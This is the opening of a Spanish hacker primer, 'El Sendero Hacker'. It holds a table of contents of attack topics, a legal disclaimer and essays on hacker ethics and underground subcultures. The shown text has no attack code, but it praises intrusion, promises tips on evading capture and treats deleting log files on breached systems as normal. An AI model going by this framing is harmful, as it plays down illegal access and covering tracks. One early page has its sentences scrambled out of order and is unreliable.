El Sendero Hacker

Por

Del

Bli tzK ri eg

1

Contenido
Primera Parte: Preliminares  Prólogo Introducción ¿Qué es un Hacker? Computer Underground La Actitud Hacker El Sendero del Hacker Filosofía Reglas De Supervivencia Del Hacker Hackers y Delito Segunda Parte: Aprendiendo el Oficio Unas Palabras Sobre UNIX y Linux Metodología del Hacker La Ingeniería Social Lo Más Básico Sobre Redes Filosofía Cliente y Servidor Estándares y Normas Capas de Red Protocolo de Ethernet Protocolos De Red (Introducción) Introducción al TCP/IP IP (Protocolo de Internet) TCP (Protocolo de Control de Transmisión)   Utilerías TCP/IP    El Protocolo de los Pings: ICMP El Protocolo UDP 22 39 43 45 50 51 52 58 60 61 63 67 70 74 75 4 6 8 10 12 14 16 18 19

Los Puertos Servidores DNS  Sesión Cliente­Servidor Mediante TCP MAC y ARP ARP Spoofing Escaneadores de Puertos Sistemas de Detección de Intrusos Introducción a Los Sniffers La Suite Dsniff Detección de Sniffers Usando Telnet Prueba de Penetración Manipulación de Paquetes con Hping2 Ataques de Denegación de Servicio Los Proxies Los Servidores Socks Los Exploits Los Troyanos Contraseñas Password Cracking Conseguir el root en Linux Cuentas Shell Introducción al NetCat La Hora de la Verdad Consejos Finales El Manifiesto Hacker Palabras Finales Referencias

76 80 82 84 87 91 97 104 111 118 120 125 133 138 146 149 151 152 155 158 163 169 174 199 206 208 209 210

2

PRIMERA PARTE 
Preliminares
JEFE DE POLICÍA: Espera un momento. ¿Estás diciéndome que este sujeto robó al banco 300 mil dólares, sin usar  una sola arma, sin recurrir a la violencia y sin siquiera presentarse físicamente al banco y que además nadie supo del  suceso hasta dos días después? ¿ESO me estás diciendo imberbe? ASISTENTE: Sí, señor. JEFE DE POLICÍA: ¿Y qué demonios es éste tipo, una especie de fantasma o un supervillano con poderes  especiales? ASISTENTE: No, señor. Es un HACKER.

3

Prólogo
Nota De Advertencia del Autor: Yo, BlitzKrieg, no me hago responsable del mal uso que se dé a la información aqui expuesta ya que su publicación tan solo es para fines informativos y didácticos o inclusive, de entretenimiento. Este es un documento de divulgación, así de simple. Me desligo totalmente de las acciones perpetradas por cualquier persona que utilice la información contenida en este documento con fines ilícitos. Los ejercicios propuestos en este documento deben ser ejecutados en una o dos máquinas propias. Usar los conocimientos para fines personales con intención de penetrar un sistema es ilegal en casi la totalidad del globo terráqueo y yo ni lo condono ni recomiendo. Este documento es gratis y su distribución es libre. Una gran parte de la información fue elaborada con ejercicios propuestos por personas experimentadas en el área de la seguridad informática y hackers de diversos países. ¿Que Es Este Documento Exactamente? Este documento está enfocado a toda persona que desee conocer la esencia del hacker, pero necesita que sea algo didáctica y que abarque desde Unix hasta un poco de Winxx. Está dirigida a los más novatos, como yo, explicado como si tuviésemos cinco años, quizá porque a mí me sucedió que en otros documentos similares pareciera que explican los datos como si fuéramos expertos. Necesidad de Tener Linux Es muy aconsejable instalar Linux porque es un sistema que forma parte del pilar de la programación de UNIX, las herramientas de que dispone este Sistema Operativo son muy útiles para el mundo Hack. Se puede tener una partición para Windows y una para Linux en nuestro disco duro. De este modo, al arrancar la máquina, un sistema nos preguntará qué sistema operativo queremos cargar, ya sea Linux o Windows. Para conseguir una distribución de Linux basta con bajarse una imagen iso desde www.linuxberg.com y hacer un CD propio. O entrar a la página de Ubuntu y pedir un CD gratis. Aunque no es necesario tener Linux, si lo recomiendo y mucho, máxime que muchos de los ejemplos están más basados en la plataforma de Linux y muchos de los programas, solo existen para Linux. Varios programas para Linux han sido porteados a la plataforma Windows, sin embargo no poseen la potencia ni la eficacia que se logra en el sistema operativo para el que fueron creados originalmente. Algunas distribuciones de Linux permiten, por medio de un Live CD, probar la funcionalidad del sistema e irnos adaptando al entorno antes de decidirnos a instalarlo. Existe una gran comunidad en Internet dispuesta a ayudarnos cuando se nos atore la carreta. Foros, chats, páginas personales con guías y tutoriales están a nuestra entera disposición de manera gratuita y altruista; así que no hay pretexto para dejar de lado la oportunidad de manejar un sistema más flexible y eficiente. Linux es un mundo nuevo y merece la pena de ser explorado. Hay que hacer notar que muchos de los programas para Linux solo pueden instalarse y compilarse siendo root1. Windows permite alguna soltura de uso pero se pierde control sobre el sistema. Una cosa que pasa, y ésta es una gran desventaja, es que al usar una plataforma como Windows nunca sabremos qué sucede exactamente, bien sea porque no se pueda conseguir el código fuente del SO (cosa que nunca va a pasar), o bien, porque su propia estructura así lo requiere. Windows trabaja a espaldas de los usuarios.

1root (Raíz) Dícese del directorio inicial de un sistema de archivos. En entornos Unix se refiere también al usuario principal o Súper usuario.

4

el lenguaje y la columna vertebral de Internet. Algunos exploits pueden necesitar ser editados para ser ejecutados en su plataforma. Para hacer todo esto se requiere de programación. Si es nuestro deseo realmente ser considerados un hacker de élite. no es ejecutado por ningún usuario en particular) y que se está   ejecutando permanentemente. necesitamos examinar a fondo el código repetidas veces y buscar ese pedazo diminuto que sea explotable. Convenciones Finales Se asume que la persona que lee este documento tiene un conocimiento pasable en computadoras. debemos saber programar. La necesidad de Programar Consejo para el Novato: Todo exploit.Linux permite llegar a manejar más libremente el sistema y nos deja conocerlo con profundidad. ni pretende serlo. necesita menos ayuda. Pero puedo asegurar que la mayor parte de estos programas tienen una parte pequeña perdida o editada en el código. Saber programación nos ayuda no sólo en la depuración de exploits encontrados con anterioridad sino también para descubrir agujeros nuevos en Daemons 2 (demonios) populares. Además. ciento por ciento completa sobre las actividades hacker (en español rebautizado con el espantoso neologismo hackeo). Objetivo No es una guía. por lo que muchas características son comunes a ambos sistemas. mail bomber y prácticamente todo lo relacionado con el hackeo se ha escrito en Perl o en C. Es por eso que uno debe saber programar para poder Ejercer el Oficio. Hay muchos programas en C que podemos encontrar en la red y que nos prometen establecernos en root (raíz) o sacarte del shell (intérprete de comandos) restringido. no podremos ejercer el Oficio con éxito completo y nos quedaríamos en el rango de Scriptkiddies. No se exige que sea un experto. Al mismo tiempo. Un enorme Exploit de Sendmail fue publicado en la Web y tenía comentarios encima de la línea más importante y por tanto el exploit no funcionó. se asume que tiene una conexión a Internet y que se sabe desenvolver cuando navega en busca de información. En la página 22 nos daremos a la tarea de explicar un poco lo que es UNIX y Linux para conocer un poco cuáles son sus ventajas. Linux es un sistema operativo que deriva del sistema UNIX. además de darnos el control. Su lectura nos permitirá conocer cómo actúa. en Sendmail. Casi todos los exploits disponibles en Internet tienen una parte importante editada o perdida sin la cual es inútil. el conocimiento adquirido mediante el estudio de los temas. 2Un demonio (o daemon) es un proceso que no tiene propietario (es decir. cracker. pero para quienes desean echarse un clavado en el área de la seguridad informática. etcétera. No hay duda de eso. UNIX es. Para encontrar un agujero. Vuelvo a enfatizar la necesidad de aprender a programar. piensa y como se desenvuelve el hacker. siempre requeriremos ayuda de quien posee más experiencia. permite que tengamos la capacidad de conocer cómo podemos defendernos de ataques hechos por aquellos hackers maliciosos que vagan por la red buscando hacer daño y posibilita prevenir futuras incursiones. por lo tanto. Quien use Linux ya ha dado el primer paso para convertirse en hacker. Hasta los hackers saben que ningún hombre es en sí mismo una isla. pero que al menos sepa como abrir una consola de comandos en Windows o Linux. 5 . digamos. es un buen comienzo y puede ser de utilidad para conocer de qué manera trabajan los hackers. podríamos decir. lo que no significa que no la necesite. Sin un conocimiento sólido en C (o C++) o Perl. Así mismo. Podremos adentrarnos en la mentalidad genial de esta élite de expertos en seguridad. Linux es más versátil que su contraparte Windows.

desde lo más básico. no es más que buscar los programas o herramientas por su nombre en Google. Es posible que algunas direcciones de internet sean obsoletas. por ser más populares. El sombreado indicará que es un comando importante. hasta su uso en procedimientos más complicados. pueden usarse estas nomenclaturas para referirnos a ese Sistema Operativo. significará que nos estamos refiriendo a la plataforma Windows en cualquiera de sus versiones: Win98. WinMe (Windows Milenio). Se entiende que se escribe colgando desde su propio directorio y después pulsando la tecla <enter> o <intro>. línea de comandos. aquí solo menciono las más importantes o de las que. sobre todo cuando una aplicación solo pueda usarse en una versión en particular. Por ejemplo: ifconfig -a Los comandos se teclean en la ventana de la consola o terminal de la plataforma elegida. muchos de los temas fueron creados en base a información que hackers experimentados han puesto en la Gran Red. C:\ ó ~$ en Linux ó ~# prompt de root en Linux Un viejo dicho dice “Un soldado merece un soldado” y extrapolándolo al mundillo hacker. Toda la información sobre esa utilería fue recopilada y acomodada según el grado de dificultad.exe. shell o terminal para indicar los programas que permiten  en Windows o Linux ingresar comandos. Al final de éste documento se hablará del NetCat. WinXP. No se habla de la infinidad de herramientas de que echan mano los hackers.Cuando se utilice la palabra Winxx. Los comandos usados en las dos plataformas más importantes. se refiere a que debemos pensar y actuar como el hacker para poder vencerlo en su propia arena.exe para traernos una consola y se abre desde el menú Inicio  (Start) eligiendo la opción Ejecutar y en el cuadro de diálogo tecleamos cmd. serán escritos tal y como deben usarse. Win98SE. 6 . aunque así mismo. en Winxx y 3Se usarán indistintamente los nombres consola de comandos. y detallaremos sus funciones básicas junto con una serie de ejercicios probados tanto en Winxx como en Linux. Hasta se pueden copiar y pegar en las consolas de comandos3. WinNT. existen manuales de uso en Internet. herramienta creada por Hobbit. De hecho. En Winxx se usa el programa cmd.

Introducción Existe una comunidad clandestina que opera y sobrevive en los oscuros rincones de la informática. pareciera que poseen poderes místicos que influyen y dejan semilla sobre quien la escucha y resuena como eco de campana en los cerebros de miles de adolescentes. aún y cuando jamás vayas a dispararlas. dominar computadoras remotas y. también existen mujeres que se dedican a perfeccionarse en el arte del Oficio del Hacking. 13-14 4Conjunto de miles de foros electrónicos de debate y discusión llamados “grupos de noticias" (Newsgroups). cuya adquisición vale más que la plata. la sola palabra atrae y subyuga. Los miembros de esta cultura dieron nacimiento al término "Hacker". Los hackers fueron los artífices de la World Wide Web. hasta el manejo de herramientas informáticas creadas por gente especializada. Sin embargo. ni los programas P2P. Algunos creen. Los hackers crearon el sistema operativo Unix tal y como lo conocemos hoy en día. que desde que apareció la primera computadora apareció el primer hacker. Vers. Los más osados desean llegar a tumbar el sistema de alguna compañía o modificar a placer una página web. Si tú eres parte de esta cultura. y sus frutos son más preciosos que el oro acendrado. si te has alimentado de ella y si has contribuido en su beneficio de una u otra forma y si otras personas te reconocen y te llaman hacker. Se te dirá como protegerte (igual que los buscadores de minas antipersonales que llevan un traje especial para tal menester) para no ser atrapado tan fácilmente. pero siempre teniendo en mente que todo debe hacerse en una computadora personal y una red propia. Yo solo te muestro la puerta. así como las computadoras que  procesan sus protocolos y. teclados. etc. Incluso Linux está apadrinado por cientos de hackers. Los hackers dieron vida a Usenet 4. si es tu deseo conocer cuál es la esencia del hacker y su modo de operar. penetrar sistemas. siempre viene a la mente la imagen de un hombre. entonces sí puedes llamarte hacker y no necesitas leer este documento. las personas que leen y envían noticias de Usenet. En los siguientes apartados se mostrará paso a paso que es lo que se requiere para ser un hacker. es una cultura compartida de programadores y entusiastas expertos y genios en la creación de redes cuyos origenes se remontan a los tiempos oscuros en que la jungla de silicio era gobernada por los dinosaurios informáticos. Sin embargo. nada raro. Son solo seis letras. del mismo modo que en el ejército se te da teoría de guerra y estrategia y te prepara para manejar armas de fuego de alto calibre. finalmente. si quieres convertirte en uno. Eran los tiempos en que no existían los MP3. con espinillas y frenos en la dentadura que vieron por primera vez War Games y empezaron a soñar con robar passwords. 7 . pero juntas. Desde el conocimiento elemental a base de teoría. ni la Wikipedia. la mayoría hombres. códigos y programas. Hacker. Los hackers fueron los que construyeron la Internet. pero empezaban a hacer su aparición las primeras microcomputadoras de tiempo compartido y los primeros experimentos con ARPAnet. Dichoso es el hombre que ha adquirido sabiduría y es rico en prudencia. tú eres quien debe decidir cruzarla (Morpheus. Proverbios Cap. No todos los sistemas anfitriones están suscritos a  Usenet ni todos los sistemas anfitriones Usenet están en Internet. Cuando se habla de hackers. nunca una ajena. aunque puede ser una exageración. III. The Matrix). poder tener la capacidad de entrar al sistema de calificaciones del colegio o vengar alguna afrenta. este documento es solo la puerta a ese mundo de monitores.

Apreciación del término La gran mayoría de las personas tienden a creer que la actitud del hacker se limita a la cultura del software y nada hay más lejos de la verdad. En lugares de habla hispana. además de las tradiciones en que dan sustento la cultura compartida que originó el término hacker. Los hackers son los sujetos que maquinaron lo que es hoy el Internet tal y como lo conocemos. Por desgracia. disfruta desmenuzando sistemas operativos y programas para ver cómo funcionan. Describía a un usuario totalmente cautivado por la programación y la tecnología informáticas. El término también se utiliza para referirse a alguien que. En este documento nos centraremos más que nada en las habilidades y actitudes de los hackers de software y de la ingeniería social y en los programas que regularmente utilizan. los hackers no llevan artilugios ocultos ni armas para atacar. en el oscuro mundo subterráneo también habita un grupo transgresor que trabaja tras las trincheras y que ruidosamente se llaman a sí mismos hackers. son capaces de superar determinadas medidas de protección. Hay quienes los describen como los ninjas modernos. muchos periodistas y escritores toman erróneamente la palabra 'hacker' para describir a los crackers y esto es algo que los irrita a gran escala. Los hackers de software reconocen a estos espíritus en otros lugares y pueden llamarlos 'hackers' también . Su motivación abarca desde el espionaje industrial hasta el mero desafío personal. pero a diferencia de estos. Es el as. Se trata de personas (principalmente varones adolescentes) que gustan de irrumpir en computadoras y hacer phreaking en el sistema telefónico. la mayoría de los hackers programan y contribuyen al mundo de Linux y a la mayoría de ellos le gusta estudiar la seguridad de la red e irrumpir en los sistemas. Lamers y Crackers Pero hay que tener cuidado. la designación cracker en informática se aleja de esta visión. y no muy inteligentes. el campeón. las más de las veces se encuentran frente a una computadora y un teclado. se puede encontrar en los niveles más altos de cualquier ciencia o arte.y algunos sostienen que la naturaleza hacker es realmente independiente del medio particular en el cual se trabaja. los "crackers" las rompen. de forma anónima. Objetan que el ser capaz de romper la seguridad de un sistema no te vuelve más hacker que el ser capaz de moverle a los cables de un automóvil para encenderlo no te convierte en un ingeniero automotriz. La diferencia es esta: los hackers construyen cosas. se le conoce como crack al mejor elemento de un grupo en una actividad. Los verdaderos hackers designan a estas personas con el término de crackers y no quieren ser relacionados con ellos.¿Qué es un Hacker? En sus origenes.en realidad. 5 En España se les conoce como ordenadores 8 . pero están muy lejos de serlo. que por su elevado nivel de conocimientos técnicos. con sus grandes facilidades de conectividad. Casi siempre operan solos. además de programar. Existen personas que aplican la actitud hacker a cosas diferentes como lo son la electrónica o la música . irresponsables. Sin embargo. Internet. Los hackers verdaderos piensan que la mayoría de los crackers son sujetos perezosos. permite a un usuario experto intentar el acceso remoto a cualquier máquina conectada. este término adquirió una connotación peyorativa y comenzó a usarse para denominar a cualquier persona que se conecte a una red para invadir subrepticiamente una o varias computadoras con la finalidad de consultar. En la década de los ochenta y con la llegada de las computadoras personales5 (PCs) y las redes de acceso remoto. Los hackers son usuarios muy avanzados. la palabra hacker definía a un aficionado a las computadoras. robar o alterar los programas o los datos almacenados en las mismas.

Un hacker comparte su saber porque vive bajo la consigna de que el conocimiento es universal y no debe tener ni dueño ni ataduras. Si quieres ser un cracker. sigue leyendo.Los hackers no entran a wikipedias o wikifreaks para vandalizar a sus anchas. Un lamer no es más que un presunto hacker fracasado. pero no sabe nada y solo pasa su tiempo copiando programas. usando herramientas que verdaderos hackers crearon. Dista mucho de serlo. Y eso es todo lo que se explicará acerca de los crackers y los lamers. Presume de hacker. esa es tarea de lamers (pronunciado léimers) con un valor humano menor que la mancha que queda en la suela del zapato después de aplastar un bicho. solamente para entrar a páginas web pornográficas que requieran autenticación. lo acerca a la categoría de Hacker élite y no es así. Se cree hacker pero no lo es. 9 . ve a leer el grupo de noticias alt. Si quieres saber lo que es un verdadero hacker. Un lamer cree que por aprender los comandos básicos de Unix o Linux y saber como usar el NetCat.2600 y prepárate a darte de golpes en la cabeza cuando descubras que los sujetos que ahí se encuentran no son más inteligentes que el legendario burro que resopló en una flauta.

tiene en su base de datos miles de cuentas creadas fraudulentamente con método de pago a tarjetas de crédito. Por eso es que están asegurados. se ponen a disposición de quien lo quiera. explosivos. Además AOL debe reembolsar el dinero mediante un afidávit y terminar la cuenta abierta de manera fraudulenta. Podemos dividir el mundillo subterráneo de las computadoras en 7 ramas principales. 10 . Los keygens son hechos por los crackers. (El término hace referencia indirecta a freak “fenómeno”). etc. pero los distribuyen junto con un Keygen (un programa generador de seriales) o crack con el que el usuario podrá poner el número de serie para evitar que el programa pida el serial o deje de funcionar debido al límite de tiempo de uso del trial. La mayoría de los warez son distribuidos por grupos warez que existen con el objeto de sacar software de los BBSs antes de que otro grupo publique ese mismo programa primero. Son piratas.) Los grupos de Phreakers se acuadrillan a menudo y forman un grupo organizado y publican artículos sobre el tema. Hackers Como se mencionó anteriormente. lo cual los lleva a hacer llamadas telefónicas gratis (esto es ilegal niños y niñas. Quieren aprender todo lo que se pueda acerca de ello. El hacker goza alcanzando un profundo conocimiento sobre el funcionamiento interno de un sistema o de una red de computadoras. los programas que son de paga. de cheques o números de cuentas corrientes para obtener lo que quieren sin pagar con su propio dinero. Ya es de por sí malo elaborar una bomba que se hará explotar en el desierto para ver qué ocurrirá. En las páginas web de estos tipos. pero los hackers proclaman tener una ética y unos principios contestatarios e inconformistas pero de ningún modo delictivos. Estas personas se ocupan de la red telefónica. Estas personas son reconocidamente unos criminales. quieren controlarlo. Un hacker verdadero no es el tipo de sujeto que los medios noticiosos y Hollywood quieren que uno crea. Anarquistas Un Anarquista es un individuo al que le gusta jugar con fuego.Computer Underground El mundo de la informática es una jungla peligrosa en sí misma y está poblada por tribus segmentadas y muy diversificadas. La víctima inocente que llama a servicio al cliente para reclamar los cobros hechos a su tarjeta no es responsable de los cargos no autorizados. químicos. Las ramas son (sin ningún orden en particular): Phreaks También referidos como "phreakers". entre otras cosas. así es que el banco tiene que comerse ese mole. Carders Tarjeteros. Una de las compañías proveedoras de conexión a internet más importantes de Estados Unidos. Estos sujetos tienen su biblia en el libro The Anarchist Cookbook. son las personas que aman los sistemas computacionales y les encanta saber cómo introducirse en ellos y controlarlos. Warez Son los sujetos que distribuyen software de manera ilegal. Sujetos de Virus/Troyanos Estas personas son usualmente programadores (aunque no siempre) interesados en cómo trabajan los virus y los caballos de Troya y cómo hacerles más eficientes e indetectables. Este término se suele utilizar indebidamente como peyorativo. AOL (America On Line). Roban y hacen uso de números de tarjetas de crédito.

pero nunca corromperá ni borrará ningún archivo del sistema. en la práctica un hacker puede que realice otras acciones en el sistema que puedan modificar archivos ya existentes. etc. naturalmente.. Regularmente crean programas llamados cracks utilizando desensambladores. pero siempre procurará que los cambios sean mínimos. no hace mas que reforzar y perpetuar la idea de un estereotipo del que el hacker real desea desligarse. conoce Compuserve y La Fuente y que se pasa el tiempo frente al monitor de su computadora comiendo pizza y rosquillas. etc. Muchos hackers utilizan técnicas empleadas por los crackers como veremos en el apartado de Passwords Crackers. 1987 11 . 6 Hackeo: lo que es legal y lo que no lo es. sigue el lema de "se ve pero no se toca". consiste en que un cracker accede al sistema más que nada para dañarlo o corromperlo. que con una computadora y un módem se pasea por los Bulletin Boards. mientras que un hacker accede al sistema simplemente para conseguir información o por pura curiosidad. programas de pago o de prueba. hombre o mujer. Es en este punto donde adquiere importancia la "filosofía" del hacker. Como nota a parte debemos decir que la definición dada por Xandor SymmLeo Xet que en su libro Hacking: What's Legal And What's Not6 describe al hacker como un sujeto. además de conocer los efectos de la cafeína. La diferencia entre un hacker y un cracker. pero eso no significa que comulguen con estas actividades. Por supuesto que esto es una situación ideal y no realista. para encontrar la forma de reventar la seguridad de los programas y poder hacerlos “full”. Los únicos archivos que el hacker modificará o borrará serán los archivos relativos a los logs que haya podido dejar en el sistema.Crackers Son los sujetos que se dedican a romper las contraseñas de Sitios Web. volcadores de memoria. A esto último hay que hacer una excepción .

dedicación y esfuerzo se puede lograr. Y para comportarte como si tuvieras la actitud. pero es el tipo de diversión que requiere de un montón de esfuerzo. Largo de aquí. Y el esfuerzo requiere motivación.para ayudarte a aprender y a obtener motivación. Nunca debatir nimiedades ni dejarse llevar por banalidades. Como lo dice el dicho americano: No pain. si piensas cultivar las actitudes hacker simplemente como una manera de lograr la aceptación en esta cultura. pero no deben ser lo más importante en la vida de un hacker.-El mundo está lleno de problemas fascinantes esperando ser resueltos Nadie duda que ser un hacker es muy divertido. Aprender del maestro sus técnicas y habilidades. Pero con paciencia. El siguiente poema zen moderno lo especifica claramente: Para seguir el camino:  observa al maestro sigue al maestro. empujándose a sí mismos más allá de sus límites corporales. Los atletas exitosos obtienen su motivación a partir de una especie de placer físico al hacer que sus cuerpos realicen ejercicios. La tercera podemos considerarla simplemente como una vanidad humana. son solo complementos. no al revés. mira a través del maestro. Rara vez son egoistas y proveen a la comunidad con la información y el conocimiento adquiridos con la práctica. Debes agudizar tus habilidades y ejercitar tu inteligencia. Sin embargo hay que recalcar que las dos últimas son necesarias y no son prohibitivas. podrás convertirte con el tiempo en un maestro y mentor para que en el futuro puedas albergar a un iniciado bajo tu tutela. es primero ser un padawan. tienes que creer realmente en la actitud.La Actitud Hacker Hay que meterse en la cabeza que los verdaderos hackers de élite resuelven problemas y construyen cosas. repite las siguientes cosas hasta que se fundan en tus circunvoluciones cerebrales y te las creas: 1. 12 . No hay vuelta de hoja. Cero. el dinero y la aprobación social. tienes que comportarte como si tuvieras este tipo de actitud tu mismo. Pero una advertencia. Por lo tanto. la forma más eficaz de convertirse en un maestro es imitar la actitud de los maestros . Al igual que con todas las artes creativas. Debes visualizar la clase de persona en que quieres convertirte. Del mismo modo. Se requiere dejar atrás al hombre y a la mujer vacuos para volverse en seres plenos. y solo así. Esa es la clave. Así.no sólo intelectual sino emocionalmente también. Si no eres la clase de persona que siente de esta manera. Para ser aceptado como un hacker. conviértete en el maestro. te pierdas el punto. De lo contrario encontrarás que tu energía hacker será minada por banales distracciones como el sexo. para ser un hacker tienes que sentir en mente y cuerpo la emoción básica que da la solución de los problemas que se hacen presentes. Convertirse en el tipo de persona que cree en estas cosas debe ser importante para ti . Escuchar sus consejos y acatar sus órdenes sin chistar.  Encontrar la luz cuando se está rodeado de oscuridad es muy difícil. si quieres ser un hacker. Creen en la libertad y la ayuda mutua voluntaria. camina con el maestro. En la mitología Jedi. no gain (hay que sufrir para merecer). naturalmente tendrás que aceptarlo a fin de que seas como un hacker.

montando en su automóvil. para mentalizarnos de que podemos hacerlo mejor. una leyenda urbana cuenta que un científico. entonces este modo de vida no es para ti. repentinamente dió con la solución mientras cenaba con su esposa. tienes que convencerte que los hackers élite poseen un tiempo precioso para pensar. Siempre es bueno usar tus conocimientos de hacking para mantener una familia o incluso hacerte rico si así lo deseas y te lo has propuesto como objetivo. siempre y cuando no olvides la lealtad que le debes a tu oficio y a tus compañeros hackers mientras estás en ello. Para comportarte como un hacker. Si sientes que el sendero es demasiado sinuoso y tortuoso y lo quieres todo facilito. aunque es posible que no sepas lo necesario para resolver un problema. Puedes dejar este documento tirado o enviarlo a la papelera de reciclaje y encender la televisión para ver las telenovelas. No deben desperdiciarse en redescubrir el hilo negro cuando hay tantos problemas fascinantes esperando su oportunidad de ser resueltos. también hay que tomar en cuenta que es compatible con los valores del hacker el vender lo suficiente para poner los alimentos en la mesa. jurídicos. partió en rumbo a su laboratorio tras haber convocado a sus colegas de trabajo. o las barreras institucionales (como el código fuente cerrado) que impiden a una buena solución el ser reutilizada y que obliguen a las personas a volver a inventar el hilo negro. Pero hay que tener siempre en mente que la frase ningún problema debe ser resuelto dos veces no debe implicar que estés obligado a considerar todas las soluciones existentes como si fueran el Santo Grial. Una vez obtenido el respeto. Lo que no es aceptable son los artificialismos técnicos. Un tráiler embistió su pequeño auto matándolo al instante y con él. verás que habrás aprendido lo suficiente para resolver la siguiente pieza . Acerca de lo anterior. Sin pensarlo dos veces. Recuerda que existe una ética y una filosofía a las cuales debes atarte. hasta que hayas terminado. se puede aprender mucho más sobre el problema acerca de lo que no sabíamos antes de estudiar la primera solución. o que sólo hay una solución óptima para cualquier problema dado. muchos te buscarán y te pedirán consejo.Ningún problema debe ser resuelto dos veces Todos sabemos que los cerebros creativos son un recurso valioso. resolver problemas y entonces dar las soluciones para que otros hackers puedan resolver nuevos problemas en lugar de tener que estar perpetuamente regresando a los que ya existían. si te enfrascas en un pedazo de él y extraes un algún conocimiento de eso. 13 . pagar el alquiler y las computadoras y sacar a su chica al cine y a pasear. 2. tan es así que podríamos decir que es casi un deber moral compartir información. aunque los hackers que lo hacen son los que obtienen lo más importante de sus colegas: el respeto. no renovable y al mismo tiempo limitado. Tienes un vínculo místico con los demás compañeros y miembros de esa cofradía que llamamos la Hermandad del Hacker.. A veces.Es de capital importancia también aprender a desarrollar una especie de fe en tu propia capacidad de aprendizaje – una convicción de que. Sin embargo. Tú no tienes que creer que estás obligado a regalar todo tu producto creativo. saltó de la mesa y.y así sucesivamente. aún y cuando no los conozcas ni de nombre de pila ni en persona. la solución al problema que tantos dolores de cabeza y esfuerzos habían consumido al grupo de científicos: La fusión en frío. Era tanta la euforia por comunicar su hallazgo que el profesor no advirtió la luz roja del semáforo. Esto está bien. un profesor eminente. que estaba trabajando con unos colegas en un problema que los traía de cabeza durante semanas. el respeto es el máximo reconocimiento y premio. Para ellos. y con frecuencia es necesario.

Es un sendero nuevo en el viaje de tu vida. los libros son como el aire que respiras. Es una lenta y en ocasiones. a mi parecer. la esencia hacker parece estar cubierta de una extraña aura misteriosa. Todas las innovaciones toman su tiempo. ¿Por lo tanto. Ciertamente. ya encontrarás tu propio camino. 14 . Ha crecido sumamente durante los últimos años y es un recurso valioso en la comunidad del Oficio. el Internet es el siguiente destino. y nuevas cosas que te tomará tiempo absorber. para las personas comunes y corrientes.El Sendero del Hacker Navegando una noche por Internet. entrar de una vida de honestidad. que hable de controlar a otra persona en cualquier forma. yo intenté adaptarlo a la esencia del hacker haciendo aquí y allá algunos pequeños cambios al escrito. Tener a un mentor puede ofrecerte mucho ahora que comienzas a transitar el sendero. Habrá cosas que encuentres y que hagan que pases apuros para entenderlas y necesites esclarecimiento. hay muchos sites donde puedes encontrar mucha y valiosa información sobre el tema que requieras para tu formación. Si tienes acceso a un maestro. hay buena información e información nociva. Tú debes poseerlos. a dónde debes dirigirte? A la librería. pero si eres serio en este derrotero. que el resultado no será el esperado pero no hay que desesperar. Tanto en los libros como en el Internet. casi seguro. Si no. o de algún modo. A fin de cuentas. No siempre se logra el éxito a la primera oportunidad. Estos libros y/o sites no cumplirán con satisfacer tu necesidad de conocimientos sobre el Oficio y lo más que lograrán será confundirte. ¿Encuentras a alguien que es hacker y te puede convertir mágicamente en uno? ¿O eres un hacker simplemente por pregonar a los cuatro vientos que lo eres? ¿Puedes convertirte tú mismo en hacker? El proceso de convertirse en un hacker no sucede de la noche a la mañana. una fatigante metamorfosis. así lo llamaré de aquí en adelante. el Internet es el siguiente mejor lugar para buscar. He decidido llamar al arte del hacker “El Oficio” y eufemísticamente. Si anteriormente has seguido una forma de vida tradicionalista. Normalmente podrás encontrar un maestro en alguna librería que venda libros sobre nuestro Oficio en tu comunidad. puede haber cosas que difícilmente podrás abandonar. que éste es tu camino. tener acceso a ellos. de cambiar los hábitos y las costumbres anteriores. a sentirse cómodo con tus nuevos amores: la informática y las computadoras. Evita cualquier clase de libro o sitio en Internet. el siguiente paso es encontrarte un maestro. Los expertos les llaman su hogar propio. estudio y trabajo. podrás encontrar una gran riqueza de conocimientos que te guiarán en tu nuevo camino. me encontré por casualidad un texto que fue escrito por alguien que se hace llamar Morgaine y que fue integrado a un documento que lleva por título Libro de las Sombras (Book of Shadows). Es un cambio fundamental de vida. Requiere ponderación. Una vez que hayas leído una variedad de libros y documentos y sientas que esto es lo tuyo. Si tienes a un maestro a la mano. a la información que contienen. También. Si no encuentras a un maestro. A menudo me preguntan cómo es que uno se convierte en hacker. dañar o hacer alarde de las habilidades. Aunque el tema de que trata es de misticismo y esoterismo. lo importante es que aquí estás. Si no puedes pagarlos o no te sientes seguro teniendo libros que hablen del Oficio. No importa cómo hayas encontrado a la vieja escuela de conocimiento. otra vez. simplemente una llamada telefónica o un email serán suficientes. debes hacer un intento por descifrar por ti mismo las cosas y. He escuchado a muchas personas decir que a menudo es duro. al igual que con cualquier otra cosa. éste es el mejor curso de acción. Para un novato.

Si sólo buscas como beneficiarte de tus habilidades o como dañar el trabajo por el que a otros les pagan un sueldo, con el cual visten y dan de comer a su familia o simplemente estás en busca de obtener un placer mundano destruyendo los datos que pertenecen a otras personas, entonces amigo... el Oficio no es para ti. El Oficio hacker es un camino serio, en el cuál se culmina el conocimiento adquirido, pero es secundario a la sabiduría misma. Te sugiero que pongas en perspectiva tus deseos, tus objetivos y tus opciones alternas. Un par de cosas necesitan decirse referente a dar inicio a este sendero, en vista de las actitudes recientes acerca de nuestro Oficio. Últimamente puede ser que hayas conocido a algunas personas que, después de leer algunos libros, se sienten con derecho a ser llamados Maestros del Oficio. Se colocan rápidamente un título como Lord o Master, se estacionan detrás de una computadora, sacan manuales sobre intrusión de sistemas y manejo de Scripts y se creen que ya están listos para empezar. Esto no es de lo que trata nuestro Oficio. Si has consumido tus años siguiendo un camino en particular, has trabajado duro y estudiado las lecciones que te han sido presentadas, y a través de esto has logrado la titularidad y la jerarquía, entonces puedes hacer uso de tus habilidades. Pero considera esto: ¿Cómo te sentirías si, después de todas las penurias que has pasado, te cruzas con un novato con apenas seis meses de aprendizaje y 5 libros, yendo de aquí para allá, pavoneándose y haciéndose llamar StarrySki o Lord Thunderbolt? Eso es muy ofensivo. De la misma manera que tus padres te dijeron cuando eras niño o niña (o tal vez todavía lo eres) "no precipites las cosas, todo llegará a su tiempo, y te será más dulce la espera", esto es igual de cierto con el nuestro Oficio. Usando títulos vanos, llenándote de aire la cabeza, caminando sobre las nubes, y en general dándote mucha importancia, no es como vas a convertirte en un hacker experimentado. Y de eso es de lo que trata el Sendero. ¡Lo que logrará es alienarte de las personas que realmente desearías encontrar y conocer! Nadie gusta de la compañía de los fanfarrones, así que no te conviertas en uno. Ganarse el respeto de la comunidad es trascendental. Da plenitud mental. Hay que respetar a los demás y a su trabajo y jamás caer 